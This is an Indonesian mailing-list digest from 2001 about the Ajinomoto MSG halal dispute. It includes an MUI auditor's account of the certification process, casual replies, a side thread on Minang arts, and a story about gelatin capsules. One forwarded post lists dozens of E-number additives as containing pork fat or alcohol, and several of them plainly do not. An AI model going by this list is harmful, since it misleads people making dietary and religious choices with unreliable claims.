> Jadi taatilah syariat agama. Tunggu fatwa lebih lanjut dari MUI.
>
> --------------------------------------------------------------------------
>
> Dear Kolega ....
> Saya menjadi sedih mengikuti pemberitaan kasus Ajinomoto .  Beginilah
> Indonesia, semua persoalan selalu tidak lengkap dan jelas pemberitaannya
> sehingga selalu dipandang negatif dan yang paling parah adalah selalu
> dikaitkan dengan politik, padahal permasalahan sebenarnya cukup sederhana
> yaitu KELALAIAN, KETIDAKTAHUAN DAN KEBANDELAN(STUBBORN).  Seharusnya kita
> sebagai ilmuwan bisa lebih bijak dan teliti dalam menyikapi suatu
> persoalan,
> cek dulu kebenaran dan duduk persoalan yang sebenarnya.  Tetapi itulah
> ..akibat ketidaktahuan.. sehingga menimbulkan dugaan-dugaan yang tidak
> perlu.  Untuk itu perkenankan saya memberikan beberapa
> penjelasan, yang saya
> yakin, cukup akurat karena saya cukup mengetahui persis duduk
> persoalannya.
> Hal-hal yang perlu saya jelaskan adalah sbb:
> 1.    Lembaga Pengkajian Pangan, Obat dan Kosmetika MUI(LPPOM MUI)adalah
> lembaga yang dibentuk oleh MUI atas respons dan tanggungjawab MUI dalam
> masalah makanan halal, dimana lembaga ini dibentuk setelah
> terjadinya kasus
> lemak babi yang menghebohkan di tahun '80an.  Pada waktu pendirian lembaga
> ini MUI mengadakan kerjasama dengan IPB yang dituangkan dalam bentuk MOU,
> sehingga LPPOM MUI memiliki kantor di IPB dan melibatkan cukup banyak staf
> IPB untuk menjalankan tugas-tugas yang diemban.
> Saya terlibat dalam tugas-tugas LPPOM MUI sejak tahun-tahun awal
> berdirinya
> yaitu sebagai auditor.  LPPOM MUI memiliki missi membantu konsumen dan
> produsen dalam memproduksi dan menyediakan pangan, obat-obatan
> dan kosmetika
> halal.Dalam masalah ini MUI bekerjasama dengan Depkes dan Dep
> Agama, hal ini
> dituangkan dalam bentuk ikatan formal (maaf saya lupa bentuk ikatannya).
> Walaupun demikian LPPOM MUI bekerja atas dasar voluntir, tidak memiliki
> kekuatan hukum, yang memiliki kekuatan hukum yaitu lembaga pemerintah,
> sedangkan LPPOM MUI adalah lembaga nonpemerintah dan nonprofit.  Jadi
> pemeriksaan halal akan dilakukan oleh MUI apabila ada yang meminta (bukan
> keharusan!!).  Pemeriksaan awal dilakukan oleh LPPOM MUI (dalam
> banyak kasus
> lain bersama-sama dengan auditor dari Depkes dan Depag) yang akan
> menerjunkan para auditornya (kebanyakan staf IPB, untuk yang di pusat,
> sedangkan yang di daerah, seperti di Jatim banyak melibatkan juga
> para staf
> pengajar baik yang dari Unibraw maupun PT lainnya), yang akan memeriksa
> sistem jaminan halalnya, administrasi dan manajemen, produksi dan
> bahan-bahan yang digunakan.  Hasil auditing kemudian dibicarakan
> di tingkat
> LPPOM MUI pusat, apabila masih ada yang dianggap kurang maka
> dikembalikan ke
> perusahaan yang diaudit untuk diperbaiki. Apabila proses di tingkat LPPOM
> MUI dianggap selesai maka persoalan dibicarakan di tingkat komisi
> fatwa MUI.
> Di komisi fatwa MUI, apabila tidak ada hal-hal khusus(persoalannnya sudah
> jelas), maka tinggal mengesahkannya sehingga keluarlah sertifikat halal.
> Akan tetapi apabila ada hal-hal khusus seperti hal-hal yang
> meragukan, maka
> komisi fatwa akan bekerja lebih lanjut untuk menetapkan kehalalannya dari
> segi syariah.  Jadi pada dasarnya untuk menetapkan kehalalan ini para
> ilmuwan bekerjasama dengan ulama
> syariah(komisi fatwa MUI).  Perlu diketahui pula bahwa komisi fatwa MUI
> terdiri dari ahli syariah dari berbagai kalangan (NU, MUhamadiyah, Persis,
> dll).  Perlu pula diketahui bahwa biaya yang dikeluarkan oleh
> produsen untuk
> sertifikasi halal ini sangat rendah, LPPOM MUI hanya menarik biaya antara
> ratusan ribu sampai maks 2 juta rupiah per produk (tergantung pada besar
> kecilnya perusahaan), biaya ini terendah di dunia untuk suatu sertifikat
> halal.  Bayangkan kami sebagai auditor tidak memiliki gaji, yang ada hanya
> uang jalan yang besarnya Rp. 100.000 per hari jika melakukan auditing, ada
> juga uang rapat auditor, tapi juga sangat kecil.  Jadi saya
> yakin LPPOM MUI
> adalah benar-benar lembaga nonprofit.
> 2.    Dalam masalah Ajinomoto ini, sebetulnya memang benar yang
> dipersoalkan
> adalah porcine (enzim dari babi) yang digunakan dalam salah satu rangkaian
> produksinya, tepatnya adalah salah satu nutrient media untuk pertumbuhan
> mikroba (perlu dicatat disini adalah nutrient ini diproduksi oleh
> perusahaan
> lain, bukan oleh Ajinomoto).  Disini permasalahannya berbeda
> dengan kotoran
> babi yang digunakan untuk pupuk tanaman (jangan lupa dari segi
> memanfaatkan
> kotoran babi, ini adalah kegiatan haram, menurut saya, karena memanfaatkan
> produk babi yang haram, segala kegiatan yang berkaitan dengan pemanfaatan
> babi dan khamr serta turunannya dilarang) karena kotoran tersebut terpisah
> dengan buah, juga tidak sama dengan ikan yang makan kotoran manusia karena
> ikannya bisa dipuasakan. Pada proses-proses bioteknologi yang melibatkan
> mikroba, semua media (mengandung nutrien untuk pertumbuhan mikroba)
> bercampur dengan mikroba dan produk yang dihasilkan.  Pada waktu membuat
> starter, jika salah satu nutriennya mengandung komponen turunan babi maka
> starter tersebut akan bercampur dengan komponen tersebut.  Starter yang
> didalamnya terikut komponen haram ini kemudian digunakan untuk memproduksi
> MSG.  MSG yang diperoleh kemudian dipisahkan dan dimurnikan.
> Dari sini kita
> bisa memahami jika komisi fatwa MUI memutuskan bahwa produk MSG
> dengan cara
> ini haram karena logikanya dianalogikan dengan pembuatan whey
> dari air susu
> dengan menggunakan porcine (enzim dari babi), whey yang dihasilkan haram.
> Keharamannya menurut saya karena dua hal yaitu karena bercampur (walaupun
> sesudahnya dipisahkan) dan karena memanfaatkan bahan yang berasal
> dari babi
> untuk pembuatan bahan pangan (pemanfaatan ini ada yang membolehkan apabila
> digunakan bukan untuk konsumsi, dalam hal ini bersifat khilafiyah, tetapi
> kalau untuk konsumsi setahu saya semua sepakat untuk mengharamkannya).
> Terus terang kami di LPPOM MUI juga terjadi perdebatan seru mengenai ini,
> tetapi akhirnya persoalan dibawa ke komisi fatwa MUI dan
> diputuskan disana.
> Sebetulnya fatwa MUI ini juga sejalan dengan pendapat moslem scholar dari
> IFANCA(organisasi sertifikasi halal terbesar di USA) yaitu Dr. Muhammad
> Munir
> Chaudry, yaitu produk bioteknologi akan halal apabila dalam rangkaian
> produksinya menggunakan bahan-bahan yang halal, termasuk media dan nutrien
> mikrobanya.  Ternyata untuk Kosher (makanan halal untuk Yahudi)menerapkan
> peraturan yang sama.  Silahkan baca Chaudry, M. M., Regenstein, J.M.,1994.
> Implications of biotechnology and genetic engeneering for kosher and halal
> foods. Trends in Food Sci. Technol, 5, 165-168.
> 3.    Sebetulnya dua tahun yang lalu MSG yang diproduksi oleh Ajinomoto
> Indonesia telah dinyatakan halal dan telah mendapatkan sertifikat halal
> dari MUI.  Dengan dasar sertifikat halal MUI itulah Ajinomoto Indonesia
> dapat mengajukan pencantuman label halal ke Ditjen POM Depkes (yang
> berwenang dalam masalah perlabelan produk pangan jadi adalah Depkes, bukan
> MUI).  Masalahnya, pada 6 bulan terakhir ini pihak Ajinomoto merubah salah
> satu ingredien yang digunakan untuk produksi dengan ingredien yang
> bermasalah tanpa melaporkannya ke LPPOM MUI.  Dalam perjanjian yang
> ditandatangani oleh pihak Ajinomoto, apabila terjadi perubahan maka harus
> melaporkan ke LPPOM MUI sebagai yang memeriksa kehalalannya untuk
> dievaluasi
> terus kehalalannya.  Seandainya prosedur tsb dijalankan maka apa yang
> terjadi sekarang seharusnya tidak terjadi karena tentu saja LPPOM MUI akan
> mengevaluasi dulu kehalalannya sebelum produksi dilangsungkan dan
> dipasarkan.  Jadi peyebabnya masalah ini yang pertama adalah ..KELALAIAN..
> pihak Ajinomoto.
> 4.    Sebetulnya pihak Ajinomoto juga beberapa bulan yang lalu pernah
> menanyakan secara pribadi ke saya tentang masalah ini, pada waktu itu saya
> jawab produknya tidak halal karena alasan-alasan yang saya
> kemukakan diatas,
> tetapi mereka rupanya belum percaya.  Pada waktu diaudit oleh
> auditor LPPOM
> MUI permasalahan ini juga sudah dikemukakan dan produknya diragukan, akan
> tetapi kelihatannya pihak Ajinomoto belum bisa menerima sehingga
> persoalannya dibawa ke komisi fatwa. Seandainya saja pada waktu itu
> Ajinomoto mau merubah, mungkin persoalannya tidak akan mencuat seperti
> sekarang.  Jadi inilah yang saya katakan penyebab masalah ini adalah
> ...KETIDAKTAHUAN DAN STUBBORN....
> 5.    Kasus pemusnahan produk akibat menggunakan ingredien haram
> sebetulnya
> bukan yang pertama kali terjadi.  Kasus ini terjadi di industri
> flavor yang
> memproduksi berbagai jenis flavorings untuk bahan pangan.  Kebetulan salah
> satu auditor LPPOM MUI yang terlibat adalah saya sendiri.  Salah
> satu produk
> flavor yaitu yang termasuk savoury/meat flavour (yang digunakan
> diantaranya
> untuk mie instant) salah satu ingredien yang dipakai untuk pembuatannya
> yaitu sistein.  Ternyata sistein ini dibuat atau diperoleh dari rambut
> manusia.  Menurut kami (LPPOM MUI) sistein ini tidak boleh
> digunakan, komisi
> fatwa MUI kemudian menegaskannya bahwa ya barang itu haram. Pihak produsen
> diberitahu dan bagusnya mereka cepat mengambil tindakan yaitu memusnahkan
> puluhan ton meat flavor yang sudah diproduksi, sebagian lagi diekspor ke
> negara nonmuslim.  Dengan demikian selamatlah si produsen tadi karena
> kasusnya tidak terekspos keluar.  Bisa dibayangkan kalau sempat terekspos
> yakin masyarakat akan geger karena dampaknya diantaranya hampir
> semua produk
> mie instant harus ditarik, belum lagi produk-produk lainnya yang
> menggunakan
> flavor tersebut.
> Jadi ... persoalan awalnya murni tidak ada unsur politik,
> persaingan dagang,
> dll...  Kalau sekarang terlihat kisruh, ya itulah Indonesia...baru sampai
> situ taraf budaya kita.  Ya kita yang intelek tentunya harus bertindak,
> diantaranya:
> 1.    Menyumbangkan tenaga dan pemikiran kita untuk menuntaskan
> permasalah-permasalahan umat, salah satunya yaitu produk bioteknologi ini,
> bagaimana hukumnya.. apa saja syaratnya agar produknya menjadi halal.
> 2.    Menjaga jangan sampai ikut membingungkan masyarakat, masyarakat kita
> masih sangat awam, kalau kita belum tahu duduk persoalannya lebih
> baik diam
> dulu, sambil mencari tahu dan mencoba mencari penyelesaiannya.
> 3.    Tidak berburuk sangka karena ..sebagian dari buruk sangka
> adalah dosa
> ... (Al-Quran, Al-Hujuraat ayat 12).
> Demikian penjelasan saya, mohon maaf apabila ada penjelasan dan kata-kata
> saya yang salah, apabila ada yang salah mohon bagi yang mengetahui
> kebenarannya untuk meluruskannya.
> Wasalam,
> Anton Apriyantono
> Staf Jurusan Teknologi Pangan dan Gizi IPB.
>
> [EMAIL PROTECTED] wrote:
> Ass wr wb,
> A.K.Jailani,
> Terimakasih atas informasinya.
> Saya belum tahu di mana letak tulisan kode E dibungkus
> makanan/minuman tsb,
> karena saya sudah mencari kode E tapi belum ketemu. Mohon diberitahukan
> contoh makanan yang ada kode E untuk yang haram dan untuk yang halal.
> Wassalamu'alaikum wr wb,
> M. Rachman Arifin
> From: A.K.Jailani[SMTP:[EMAIL PROTECTED]]
> Sent: Sunday, January 07, 2001 5:48 PM
> Subject:      Kode Haram
> Sebagai informasi saja, bersama ini saya sampaikan E-Code (emulsion)yang
> digunakan dalam makanan atau minuman dalam kemasan yang dianggap "tidak
> halal" (mengandung lemak babi atau alkohol). Kode tersebut dapat ditemukan
> dalam kemasan makanan atau minuman.
>
> E100, E110, E120, E153, E210, E213, E214, E216, E234, E252, E270, E280,
> E325, E326, E327, E334, E335, E336, E337, E422, E430, E431, E432, E433,
> E434, E435, E436, E470, E471, E472, E473, E474, E475, E477, E478, E481,
> E482, E483, E491, E492, E493, E494, E542, E570, E572, E631, E904.
> Demikian disampaikan, semoga bermanfaat.
> A.K.Jailani
>
> =======================================================
>
> From: "Muhammad Yulharmaen" <[EMAIL PROTECTED]>
> Date: Wed, 10 Jan 2001 18:11:36 +0700
> Subject: Re: [RantauNet] Ajinomoto halal
> Reply-To: [EMAIL PROTECTED]
> Bia sen lah.....ba kato Gus Dur ...GITU AJA KOK REPOT-REPOT...... :(
> Tapi kalau ragu sarancakno ditinggakan (jan dimakan), sabab agamo
> ma-ajakan
> baitu.
>
> Wassalam,       _
>  _      _  _     _ ||.||
> |   |   |   |   |   |   |   |
> |   | _|   |   | _|   |   |__
>  \ .__,  | \ .___ | ___ |
>   | __, /   St. Bagindo
>
>
> ----- Original Message -----
> From: Darul Makmur <[EMAIL PROTECTED]>
> To: Koim Zaenal Abidin <SAMPET/SPA/KZA>
> Cc: <[EMAIL PROTECTED]>
> Sent: Wednesday, January 10, 2001 8:20 AM
> Subject: RE: [RantauNet] Ajinomoto halal
>
>
> > Hari ini mulai perang terbuka antara lembaga kepresidenana dan
> badan MUI,
> >
> > Siapa yang benar, kumpulan Ulama atau Wali?
> >
> > -----Original Message-----
> > From: Koim Zaenal Abidin
> > Sent: Tuesday, January 09, 2001 4:50 PM
> > To: Muhajir; Giyono; ANNUR
> > Subject: RE: Ajinomoto halal
> >
> > Ass. Wr. Wbr.
> >
> > KOK SAYA MALAH JADI BINGUNG, BISA-BISANYA YA....!!
> >
> >
> > Wass,
> >
> > -----Original Message-----
> > From: Muhajir
> > Sent: Tuesday, January 09, 2001 4:28 PM
> > To: Giyono; ANNUR
> > Subject: RE: Ajinomoto halal
> >
> > Ass.ww.-
> >
> > Betul juga ngkali, cuma mengandung babiiiiiii
> >
> > Wass/muh
> >
> > -----Original Message-----
> > From: Giyono
> > Sent: Tuesday, January 09, 2001 4:19 PM
> > To: ANNUR
> > Subject: Ajinomoto halal
> >
> > Presiden RI secara resmi menyatakan(sore ini) bahwa produk Ajinomoto
> secara
> > ilmiah terbukti halal untuk dikonsumsi.
> > Demikian agar menjadikan periksa adanya.
> >
> >
> > RantauNet http://www.rantaunet.com
> > =================================================
> > Mendaftar atau berhenti menerima RantauNet Mailing List di
> > http://www.rantaunet.com/subscribe.php3
> >
> > ATAU Kirimkan email
> > Ke / To: [EMAIL PROTECTED]
> > Isi email / Messages, ketik pada baris/kolom pertama:
> > - mendaftar: subscribe rantau-net [email_anda]
> > - berhenti: unsubscribe rantau-net [email_anda]
> > Ket: [email_anda] = isikan alamat email anda tanpa tanda kurung
> > =================================================
> > WebPage RantauNet dan Mailing List RantauNet adalah
> > servis dari EEBNET http://eebnet.com, Airland Groups, USA
> > =================================================
>
> =======================================================
>
> Date: Wed, 10 Jan 2001 19:10:22 +0700 (JAVT)
> From: Mahshil <[EMAIL PROTECTED]>
> Subject: RE : [RantauNet] Mohon informasi Kesenian Minang
> Reply-To: [EMAIL PROTECTED]
>
> Alhamdulillah....
> Manolah sanak Iza, lah sampai jamba ka tangah palanta...cubolah marapek
> snek katangah...buliah nak nampak pulo dek kami2 suok sanak tu
>
> >On Wed, 10 Jan 2001, Arisman Adnan wrote :
> >
> >Warga RN, what a surprised....
> >Mamak Bagindo Putiah mambaleh surek iko dgn kilat lewat japri,
> >sangat informatif!
>
> >------ deleted ------
>
> Untuak Mamak Bagindo Putiah nan Tinggi salam hormat sarato sambah
> dipuhunkan kapado mamak.
> Kalau boleh, saya juga berminat akan tulisan2 tsb (tentang Saluang,
> randai, silat dll), bia nak tambah padek galitiak saluang nan hambo
> hambuih.
>
> Manolah sanak Budi "Rajomudo" Indra,
>
> Taqabbalallahu minna wa minkum...
>
> Hambo lai dipalanta juo...tapi iyo ditapi2 se nyo ..disuduik palanta
> takuik bangih pulo urang dek bunyi saluang nan 'antah barantah' tu beko
>
> >On Wed, 10 Jan 2001, Budi Indra wrote:
> >
> >Basirobok jo kawan lamo ruponyo ambo disiko..
> >Ma Mahsil Pahambuih Saluang..
> >Baa kaba..
> >
> >Minal 'aidin wal faidzin..
> >Ma'af lahir batin..
>
> Ka urang dapua maminta tolong  hambo ciek...
> tigo bana jamba nan samo kironyo sampai jiko hambo mangirim kaba ka
> palanta ...babeda jiko kaba tu datang dari dunsanak lainnyo...
> Apokah dek pangaruah alamaik palanta nan lamo ?
>
> Hatur nuhuuun...
>
>
>
> =======================================================
>
> Date: Wed, 10 Jan 2001 10:25:31 -0800 (PST)
> From: Nurbaini McKosky <[EMAIL PROTECTED]>
> Subject: RE: [RantauNet] Ajinomoto
> Reply-To: [EMAIL PROTECTED]
> Assalamualaikum w.,
>
> Terima kasih pada sanak Darul Makmur dg info nya yg
> sangat bermanfaat.Izinkan saya numpang sedikit, tp
> tidak dalam hal kehalalan dan keharaman Ajinomoto ini.
>  Saya sendiri memang ada ke keyakinan atas keputusan
> MUI secara umum krn setahu saya MUI memang begitu
> strict dalam memutuskan kehalalan sesuatu product di
> Indonesia; antara lain berdasarkan dialog saya dg bu
> Aisyah Girindra (disaat beliau menghadiri
> International Halal Food Conference 99 di Chicago).
> Bagaimanapun, segalanya itu mungkin dikembalikan pada
> personal kita. Setelah menggali segala informasi tsb,
> perlu dipertanyakan lagi ke diri kita, �Apakah kita
> benar2 confident utk memakanya?!  Putusan terakhir
> barangkali ikuti kata hati sendiri dg penyerahan diri
> yg sebenar-benar nya pada Allah Subhanahu Wataala.
> Kalau anda tanya pendapat saya, saya memang tidak
> pakai/makan Ajinomoto.
>
> Berikut nya, maaf kalau ambo kelokkan saketek point
> pembicarran,  yaitu tetang sumber yg disebut kan.
>
> Kutipan:
>
> >Sebetulnya fatwa MUI ini juga sejalan dengan pendapat
> moslem scholar
> >dari IFANCA(organisasi sertifikasi halal terbesar di
> USA) yaitu Dr. Muhammad
> >Munir Chaudry, yaitu produk bioteknologi akan halal
> apabila dalam rangkaian
> >produksinya menggunakan bahan-bahan yang halal,
> termasuk media dan
> >nutrien
> >mikrobanya.
>
> Berdasrkan dialog saya dg bu Aisyah, saya jadi tambah
> mengerti ttg sumber yg anda sebutkan diatas. Kebetulan
> juga saya mengikuti kasus permohonan mereka utk
> menghahalkann �Capsul yg di process di Indonesia�.
>
> Sekali lagi maaf, krn cerita hal yg akan saya ungkit
> ini menyimpang dari point Ajinomoto.  Namun dilain
> hal, ini juga bisa men-triger kita utk mencarikan
> jalan keluarnya yg menguntungkan bisnis utk Indonesia.
>
> Maaf lagi, who knows if you repeat the following
> ciloteh to bu Asiyah,
> mungkin bu Aisyah tidak senang mendengar cerita saya
> ini; beliau memang mengatakan waktu dulu itu, bhw ini
> masih rahasia. Saya juga tidak tahu pasti bagaimana
> perkembangnnya sampai saat ini.  Mungkin anda bisa
> menanggapi, meluruskan dan menambah keterangannya utk
> selanjutnya.  Anggaplah ini cerita antara kita di RN.
>
> Tentang sumber yg anda sebutkan ditas (ah, sanamo pulo
> jo almarhum ayahanda. Pribaddi2 tim itu begitu
> menyanjung-nyanjung dan mengincer bu Asisyah selama
> keberadaan beliau di Chicago pada meeting itu.
> (Kebetulan saya beberapa hari bersama bu Aisyah siang
> dan malam.) Kalau menurut saya (beliau tentu tdak akan
> setuju dg pendapat saya berikut) yg mana beliau benar2
> bagaikan Putri Madona� yang di incer dan diundang
> kesana kesini waktu itu yg sebenarnya ada udang di
> balik batu. Itu hak mereka, permainan bisnis memang
> begitu, jangan diliwatkan kesempatan emas demikian.
>
> Mereka pada hakikatnya mendekati bu Aisyah dg salah
> satu tujuan dibelakangnya supaya MUI (apa lagi beliau
> ketua MUI waktu itu) mau menghalalkan �Capsul� yg di
> proses akhir nya Indonesia.
>
> Utk yg belum tahu cerita nya sbb, kalau utk yg lebih
> tahu tolong di luruihkan tulisan ambo ko.
>
> Sori, ambo lupo namo perusahaan nyo, kebetulan
> sesorang dari perusahaan ko juo hadir di meeting tu.
>
> Well, product ini (capsul) dibuat dari jelatin yg
> bahan bakunya (tulang belulang)berasal dari dari
> Afrika. Bahan baku di proses di Afrika lalu dikirim ke
> nagari Inggirih, yang selanjutnya dikirim ke Indonesia
> utk di process sampai product terakhir �capsul�.
>
> Dg jalan kehidupan capsul yg berliku-liku ini, MUI
> tidak mau menghalalkan product tsb, krn sumber nya
> sabahak.  Tulang belulang apa dan darimanakah  itu?
> Mungkin kecil lagi dari 85% hanya ke halalannya.
> Sedangkan batas kehalaln utk MUI kecil lagi dari itu
> (?). (Kalau ini diperbincangkan lagi tentu harus di
> topik yg lain lagi). Andaikan kan pun tim Indonesia
> melihat sendiri ke Afrika utk meyakinnya kehalalan
> bahan bakunya itu, who knows? Hal itu juga bisa
> diatur, di kamoflase semau mereka. Jadi, sampai saat
> th 99 MUI masih tidak mau memberikan sertifikat halal
> pada product capsul tsb.
>
> Point yg akan saya bawakan disini (saya juga telah
> sampaikan langsung pada bu Aisyah waktu itu):
> � Kalau kita (MUI) tidak mau memberikan sertifikat
> kehalalan product tsb, krn memang bertentangan dg hati
> nurani kita, bagaimana kalau kita memulai proses
> pembuatan capsul itu dari bahan baku kita dan di
> negeri kita sendiri. Dg quality control yg ketat dari
> kita sendiri kita benar2 yakin (100%) productnya akan
> halal.  Sehingga kita bisa pegang peranan product
> halal itu.
> Kalau tidak, kita tentuakan kehilangan bisnis yg
> besar. Tim tsb akan bisa mengalihkan proses terakhir
> itu kenegara lain yg bisa di kontrol mereka. Banyak
> negara yg akan menerima tawaran mereka itu. Yg penting
> bagi dunia kan uang. Mereka tawarkan itu ke Indonesia
> tentu juga dg politik, karena: 1) Indonesia termasuk
> negara Islam yg berquantity besar, jadi kalau halal
> menurut Indonesia product itu akan �look good� dimata
> dunia, capsul halal; 2) mungkin mereka kira kita bisa
> di utak atik mereka krn kemiskinan kita; 3)� and�dsb
> siapa tahu. (Kalau ada yg tahu tentang perkembangan
> ini mohon dibagi, trims.)
>
>
> Tahukah anda jalan politik tim tsb jauh sebelum hal
> ini?
> Mereka mengkampanyekan ke tidak halalan product2 yg
> melibatkan jelatin yg bredar di market, termasuk
> capsul.  List makanan yg tidak halal yg beredar di
> market bukan main panjang nya. Kebetulan lagi TIM tsb
> diundak ke KJRI Chicago memberikan ceramah dan
> kebetulan bertopik Non Halal Food termasuk lah khusus
> product jelatin.
> Mereka sebarkan artikel ttg asal usul product jelatin.
> Mungkin anda tidak percaya atau geleng2 kepala
> membacanya.  (Akan saya sampaikan kali berikutnya bagi
> yg belum membaca).
>
> Kalau menurut saya, tim yg disebutkan diatas,
> kelihatannya mempunyai objetive dg melibatkan
> perioritas point2 yg mana bisnis (material) adalah
> diatas segala-galanya. Saya tidak tahu bagaimana kuat
> nya ke islaman mereka, tp saya lihat itu adalah no 2,
> bagi mereka.  Agama adlah jalan berpolitik utk
> memajukan bisnis mereka (maaf, mungkin kejam sekali
> saya mengatakan mereka demikian, tp memang begitu
> menurut hakikat saya). Mereka tahu bahwa di North
> Amerika seluk beluk Islam semakin terbuka dan
> sebahagian besar sonsumers memilih products halal
> ataupun kosher.  Kerawanan ini adlaah titik tolak
> bisnis yg empuk.
>
> "Triger utk kita RN, apakah kita bisa menelusuri hal
> ini dan membuat project kelanjutannya".
>
> Apa lgi ado rang sumando yg berasal dari seberang
> bilang: "Orang Minang yg berhasil jangan hanya pamer
> kalau pulang kampung".  Wah,wah, mando, ... ini bisa
> jadi diskusi seribu satu malam dan tak kan habisnya
> kaya Arabian night ko kalau dibuka.
>
> Sekali lagi saya mohon maaf, segala apa yg tidak
> berkenan pada pembaca dan mohon di perbaiki yg tidak
> pada tempatnya.
>
> Wassalm & maaf,
> nurbaini mckosky (alias ben)
>
>
>
>
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Photos - Share your holiday photos online!
> http://photos.yahoo.com/
>
>


RantauNet http://www.rantaunet.com
=================================================
Mendaftar atau berhenti menerima RantauNet Mailing List di
http://www.rantaunet.com/subscribe.php3

ATAU Kirimkan email
Ke / To: [EMAIL PROTECTED]
Isi email / Messages, ketik pada baris/kolom pertama:
- mendaftar: subscribe rantau-net [email_anda]
- berhenti: unsubscribe rantau-net [email_anda]
Ket: [email_anda] = isikan alamat email anda tanpa tanda kurung
=================================================
WebPage RantauNet dan Mailing List RantauNet adalah
servis dari EEBNET http://eebnet.com, Airland Groups, USA
=================================================

Kirim email ke